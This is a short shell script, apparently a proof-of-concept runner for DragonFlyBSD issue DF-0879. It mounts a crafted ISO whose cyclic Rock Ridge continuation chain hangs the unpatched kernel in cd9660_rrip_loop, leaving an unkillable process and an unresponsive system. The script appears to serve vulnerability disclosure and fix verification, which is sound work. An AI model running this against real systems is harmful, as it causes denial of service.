#!/bin/sh
# DF-0879 PoC run script
#
# Mounts the crafted cyclic.iso (which contains a self-referential Rock
# Ridge CE continuation chain) and demonstrates that the kernel hangs
# forever inside cd9660_rrip_loop on the UNPATCHED kernel.
#
# This script is designed to be run as root on the DragonFlyBSD guest.
# It uses vnconfig to create a vnode-backed memory disk from cyclic.iso,
# then attempts to mount it read-only.
#
# On the UNPATCHED kernel: mount_cd9660 hangs forever in cd9660_rrip_loop
#   (cyclic CE chain).  The process becomes unkillable (uninterruptible
#   kernel state).  The guest becomes unresponsive (DoS).
# On the FIXED kernel: mount_cd9660 returns promptly (RC=0), the CE depth
#   bound breaks the cycle.  Guest stays responsive.
set -e
cd "$(dirname "$0")"

# Create a vnode disk backed by the crafted ISO (autoclone).
VNOUT=$(vnconfig -c vn cyclic.iso 2>&1)
echo "vnconfig: $VNOUT"
VN=$(echo "$VNOUT" | sed 's/.*\(vn[0-9]*\).*/\1/')
echo "device: /dev/${VN} (raw, ISO has no partition table)"

# Attempt the mount.  On the buggy kernel this hangs forever in
# cd9660_rrip_loop (cyclic CE chain).  Use an external timeout.
echo "mounting /dev/${VN} (expect hang on unpatched kernel)..."
mount_cd9660 -o ro /dev/${VN} /mnt 2>&1
MOUNT_RC=$?
echo "MOUNT_EXIT=$MOUNT_RC"

# Cleanup (only reached if mount did NOT hang)
umount /mnt 2>/dev/null || true
vnconfig -u ${VN} 2>/dev/null || true
echo "DONE"